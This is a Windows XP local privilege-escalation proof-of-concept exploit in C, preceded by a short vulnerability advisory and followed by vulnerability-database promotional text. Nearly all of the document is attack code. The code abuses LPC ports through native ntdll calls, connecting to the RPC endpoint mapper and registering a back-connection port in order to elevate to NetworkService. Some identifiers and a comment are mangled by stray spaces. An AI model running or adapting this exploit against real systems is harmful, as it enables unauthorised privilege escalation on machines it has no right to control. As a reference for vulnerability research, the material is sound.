// source: https://www.securityfocus.com/bid/43860/info
Microsoft Windows is prone to a local privilege-escalation vulnerability.
A local attacker can exploit this issue to execute arbitrary code and elevate their privileges to the NetworkService account level. Failed exploit attempts may cause a denial-of-service condition.
The issue affects Microsoft Windows XP SP3; other versions may also be affected.
#include <windows.h>
#include <stdio.h>
//#include "ntdll.h"
//#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"advapi32.lib")
typedef enum _PROCESSINFOCLASS {
ProcessDebugPort=7// 7 Y Y
} PROCESSINFOCLASS;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID,* PCLIENT_ID, **PPCLIENT_ID;
#define PORT_NAME_LEN 64
#define LRPC_CONNECT_REQUEST 0
#define LPC_CONNECTION_REQUEST 10
#define offset 0x100+0x4-0x6*4
#define MAXLEN 0x148
#define BACKNAME L"\\RPC Control\\back2"
#define RPCLPCNAME L"\\RPC Control\\epmapper"
#define BINDNAME L"back2"
typedef struct _LRPC_BIND_EXCHANGE
{
INT ConnectType ;
DWORD AssocKey ;
char szPortName[PORT_NAME_LEN] ;
RPC_SYNTAX_IDENTIFIER InterfaceId;
RPC_SYNTAX_IDENTIFIER TransferSyntax;
RPC_STATUS RpcStatus;
unsigned char fBindBack ;
unsigned char fNewSecurityContext ;
unsigned char fNewPresentationContext;
unsigned char PresentationContext;
unsigned char Pad[3];
unsigned long SecurityContextId;
} LRPC_BIND_EXCHANGE;
typedef struct _LPC_MESSAGE
{
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT DataInfoOffset;
CLIENT_ID ClientId;
ULONG MessageId;
ULONG SectionSize;
// UCHAR & nbsp; Data[];
}LPC_MESSAGE, *PLPC_MESSAGE;
typedef struct _OBJECT_ATTRIBUTES
{
DWORD Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
DWORD Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES, **PPOBJECT_ATTRIBUTES;
typedef
DWORD
(CALLBACK * NTCREATEPORT)(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectInfoLength,
IN ULONG MaxDataLength,
IN OUT PULONG Reserved OPTIONAL );
typedef
DWORD
(CALLBACK * NTREPLYWAITRECVIVEPORT)(
IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGE IncomingRequest );
typedef
DWORD
(CALLBACK * NTACCEPTCONNECTPORT) (
OUT PHANDLE PortHandle,
IN PVOID PortContext OPTIONAL,
IN PLPC_MESSAGE ConnectionRequest,
IN BOOLEAN AcceptConnection,
IN OUT int int1, // IN OUT PPORT_VIEW ServerView OPTIONAL,
OUT int int2 //OUT PREMOTE_PORT_VIEW ClientView OPTIONAL
);
typedef
DWORD
(CALLBACK * NTCONNECTPORT)(
OUT PHANDLE PortHandle,
IN PUNICODE_STRING PortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT int int1,
// IN OUT PPORT_VIEW ClientView OPTIONAL,
IN OUT int int2,
// IN OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,
OUT PULONG MaxMessageLength OPTIONAL,
IN OUT PVOID ConnectionInformation OPTIONAL,
IN OUT PULONG ConnectionInformationLength OPTIONAL
);
typedef
DWORD
(CALLBACK *NTREQUESTWAITREPLYPORT)( // NtRequestWaitReplyPort(
IN HANDLE PortHandle,
IN PLPC_MESSAGE Request,
OUT PLPC_MESSAGE IncomingReply );
typedef
DWORD
(CALLBACK *NTCOMPLETECONNECTPORT) (
IN HANDLE PortHandle
);
typedef
DWORD
(CALLBACK *RTLINITUNICODESTRING)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef
DWORD
(CALLBACK * NTREPLYPORT)(
IN HANDLE PortHandle,
IN PLPC_MESSAGE Reply );
typedef
DWORD
(CALLBACK * NTSETINFORMATIONPROCESS)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );
typedef struct _DEBUG_MESSAGE
{
LPC_MESSAGE PORT_MSG;
DEBUG_EVENT DebugEvent;
}DEBUG_MESSAGE, *PDEBUG_MESSAGE;
NTSETINFORMATIONPROCESS NtSetInformationProcess;
NTREPLYWAITRECVIVEPORT NtReplyWaitReceivePort;
NTCREATEPORT NtCreatePort;
NTREPLYPORT NtReplyPort;
NTCONNECTPORT NtConnectPort;
RTLINITUNICODESTRING RtlInitUnicodeString;
NTREQUESTWAITREPLYPORT NtRequestWaitReplyPort;
NTACCEPTCONNECTPORT NtAcceptConnectPort;
NTCOMPLETECONNECTPORT NtCompleteConnectPort;
template <int i> struct PORT_MESSAGEX : LPC_MESSAGE {
UCHAR Data[i];
};
PROCESS_INFORMATION pi;
int server();
void initapi();
int main()
{
// LPC_MESSAGE Reply;
// HMODULE hNtdll;
// DWORD dwAddrList[9];
BOOL bExit = FALSE;
// DWORD dwRet;
// HANDLE hPort;
int k=0;
unsigned long i;
// DEBUG_MESSAGE dm;
OBJECT_ATTRIBUTES oa = {sizeof(oa)};
PORT_MESSAGEX<0x130> PortReply,PortRecv;
STARTUPINFO si={sizeof(si)};
// NTSTATUS
int Status;
PLPC_MESSAGE Request;
// PLPC_MESSAGE IncomingReply;
LPC_MESSAGE Message;
HANDLE LsaCommandPortHandle;
UNICODE_STRING LsaCommandPortName;
SECURITY_QUALITY_OF_SERVICE DynamicQos;
LRPC_BIND_EXCHANGE BindExchange;
DWORD Key=0x11223344;
unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE);
BindExchange.ConnectType = LRPC_CONNECT_REQUEST ;
BindExchange.AssocKey = Key;
// wcscpy((wchar_t *)&(BindExchange.szPortName),BINDNAME);
DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation;
DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING;
DynamicQos.EffectiveOnly = TRUE;
initapi();
printf( "\r\nwindows lpc test!\r\n");
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)server,0,0,&i);
//
// Connect to the Reference Monitor Command Port. This port
// is used to send commands from the LSA to the Reference Monitor.
//
RtlInitUnicodeString( &LsaCommandPortName,RPCLPCNAME);
Status = NtConnectPort(
&LsaCommandPortHandle,
&LsaCommandPortName,
&DynamicQos,
NULL,
NULL,
NULL, // &maxlen,
&BindExchange,
&Bi ndExchangeLength);
if ((Status)) {
exit(Status);
//print(("LsapRmInitializeServer - Connect to Rm Command Port failed 0x%lx\n",Status));
// goto InitServerError;
}
// exit(0);
/*
//create port
dwRet = NtCreatePort(&hPort, &oa, 0, 0x148, 0);
if(dwRet != 0)
{
printf("create hPort failed. ret=%.8X\n", dwRet);
return 0;
}
//create process
if(!CreateProcess(0, "debugme.exe", NULL, NULL, TRUE,
CREATE_SUSPENDED, 0, 0, &si, &pi))
{
printf("CreateProcess failed:%d\n", GetLastError());
return 0;
}
//set debug port
dwRet = NtSetInformationProcess(pi.hProcess, ProcessDebugPort,
&hPort, sizeof(hPo rt));
if(dwRet != 0)
{
printf("set debug port error:%.8X\n", dwRet);
return 0;
}
//printf("pid:0x%.8X %d hPort=0x%.8X\n", pi.dwProcessId, pi.dwProcessId, hPort);
ResumeThread(pi.hThread);
*/
while (true)
{
memset(&Message, 0, sizeof(Message));
Message.MessageSize=0x118;
Message.DataSize=0x100;
Message.MessageId=0x1122;
Request=&Message;
memset(&PortReply, 0, sizeof(PortReply));
// memcpy(&PortReply, &dm, sizeof(dm));
memset(&PortReply, 0, sizeof(PortReply));
// memcpy(&PortReply, &dm, sizeof(dm));
PortReply.MessageSize = 0x100;
PortReply.DataSize = 0x100-0x18;
PortReply.MessageType=0;
PortReply.MessageId=0x1122;
PortReply.Data[0]=0x0b;
PortReply.Data[1]=0;
PortReply.Data[2]=0;
PortReply.Data[3]=0;
PortReply.Data[4]=0;
wcscpy((wchar_t *)&(PortReply.Data[0x10]),BINDNAME);
Sleep(1000);
Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply);
// memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
PortReply.MessageSize = 0xa0;
PortReply.DataSize = 0xa0-0x18;
PortReply.MessageType=0;
PortReply.MessageId=0x1122;
PortReply.Data[0]=0x0;
PortReply.Data[1]=0;
PortReply.Data[2]=0;
PortReply.Data[3]=0;
PortReply.Data[4]=0;
memcpy((unsigned char *)&(PortReply.Data[0x0c]),
"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00",0x20);
//"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00",0x20);
// memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
_asm{
// die: jmp die
}
Sleep(1000);
Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply);
BindExchange=*(LRPC_BIND_EXCHANGE *)&(PortRecv.Data[8]);
if (!(Status))
{
while(1){
PortReply.MessageSize = 0x100;
PortReply.DataSize = 0x100-0x18;
PortReply.MessageType=0;
PortReply.MessageId=PortRecv.MessageId;
PortReply.Data[0]=0x01;
PortReply.Data[1]=0;
PortReply.Data[2]=0;
PortReply.Data[3]=0;
PortReply.Data[4]=0x3;
PortReply.Data[5]=0;
PortReply.Data[6]=0;
*(int *)(&(PortReply.Data[0x18]))=*(int *)(&(PortRecv.Data[0x30]));
_asm{
// die: jmp die
}
Sleep(100);
Status=NtRequestWaitReplyPort(LsaCommandPortHandle,&PortReply,&PortRecv); //Reply);
Sleep(0x7fffffff);
}
}
}
return 0;
}
int server()
{
BOOL bExit = FALSE;
DWORD dwRet;
// HANDLE hPort;
int k=0;
unsigned long maxlen;
// DEBUG_MESSAGE dm;
OBJECT_ATTRIBUTES oa = {sizeof(oa)};
PORT_MESSAGEX<0x130> PortReply,PortRecv;
STARTUPINFO si={sizeof(si)};
// NTSTATUS
int Status;
PLPC_MESSAGE Request;
PLPC_MESSAGE IncomingReply;
LPC_MESSAGE Message;
HANDLE BackPortHandle,NewHandle,NewAccHandle;
UNICODE_STRING BackPortName;
SECURITY_QUALITY_OF_SERVICE DynamicQos;
LRPC_BIND_EXCHANGE BindExchange;
DWORD Key=0x11223344;
unsigned long BindExchangeLength = sizeof(LRPC_BIND_EXCHANGE);
BindExchange.ConnectType = LRPC_CONNECT_REQUEST ;
BindExchange.AssocKey = Key;
DynamicQos.ImpersonationLevel =SecurityAnonymous; // SecurityImpersonation;
DynamicQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; //SECURITY_DYNAMIC_TRACKING;
DynamicQos.EffectiveOnly = TRUE;
RtlInitUnicodeString( &BackPortName,BACKNAME);
memset(&oa,0,sizeof(oa));
oa.Length=0x18;
oa.ObjectName=&BackPortName;
oa.Attributes=0x40;
//InitializeObjectAttributes(&oa,&BackPortName,0x40,0,0);
//OBJ_CASE_INSENSITIVE,0,0); //SecurityDescriptor);
//create port
dwRet = NtCreatePort(&BackPortHandle, &oa, sizeof(LRPC_BIND_EXCHANGE),MAXLEN, 0);
if(dwRet != 0)
{
printf("create hPort failed. ret=%.8X\n", dwRet);
// return 0;
}
while (true)
{
memset(&Message, 0, sizeof(Message));
Message.MessageSize=0x118;
Message.DataSize=0x100;
Message.MessageId=0x11;
Request=&Message;
memset(&PortReply, 0, sizeof(PortReply));
// memcpy(&PortReply, &dm, sizeof(dm));
PortReply.MessageSize = 0x148;
PortReply.DataSize = 0x130;
PortReply.MessageType=0;
PortReply.Data[0]=0x0b;
PortReply.Data[1]=0;
PortReply.Data[2]=0;
PortReply.Data[3]=0;
PortReply.Data[4]=0;
// memcpy(&PortReply.Data[offset-4], &dwAddrList, sizeof(dwAddrList));
Status=NtReplyWaitReceivePort(BackPortHandle,0,0,&PortRecv); //Reply);
if(PortRecv.MessageType==LPC_CONNECTION_REQUEST)
{
Status=NtAcceptConnectPort(&NewAccHandle, 0, &PortRecv,1, NULL, NULL);
Status=NtCompleteConnectPort (NewAccHandle);
memset(&PortRecv, 0, sizeof(PortRecv));
Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv);
while(1)
{
PortRecv.MessageSize = 0x148;
PortRecv.DataSize = 0x130;
// PortReply.MessageId=PortRecv.MessageId;
_asm{
//die: jmp die
}
Status=NtReplyWaitReceivePort(NewAccHandle,0,&PortRecv,&PortRecv); //&PortReply,&PortRecv);
Sleep(100);
Status=NtReplyWaitReceivePort(NewAccHandle,0,0,&PortRecv); //&PortReply,&PortRecv);
}
}
}
}
void initapi()
{
HMODULE hNtdll;
//get native api address
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
{
printf("LoadLibrary failed:%d\n", GetLastError());
}
NtReplyWaitReceivePort = (NTREPLYWAITRECVIVEPORT)
GetProcAddress(hNtdll, "NtReplyWaitReceivePort");
NtCreatePort = (NTCREATEPORT)
GetProcAddress(hNtdll, "NtCreatePort");
NtReplyPort = (NTREPLYPORT)
GetProcAddress(hNtdll, "NtReplyPort");
NtSetInformationProcess = (NTSETINFORMATIONPROCESS)
GetProcAddress(hNtdll, "NtSetInformationProcess");
NtRequestWaitReplyPort= (NTREQUESTWAITREPLYPORT)
GetProcAddress(hNtdll,"NtRequestWaitReplyPort");
NtConnectPort = (NTCONNECTPORT)
GetProcAddress(hNtdll, "NtConnectPort");
NtCompleteConnectPort = (NTCOMPLETECONNECTPORT)
GetProcAddress(hNtdll, "NtCompleteConnectPort");
NtAcceptConnectPort = (NTACCEPTCONNECTPORT)
GetProcAddress(hNtdll, "NtAcceptConnectPort");
RtlInitUnicodeString=(RTLINITUNICODESTRING)
GetProcAddress(hNtdll,"RtlInitUnicodeString");
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation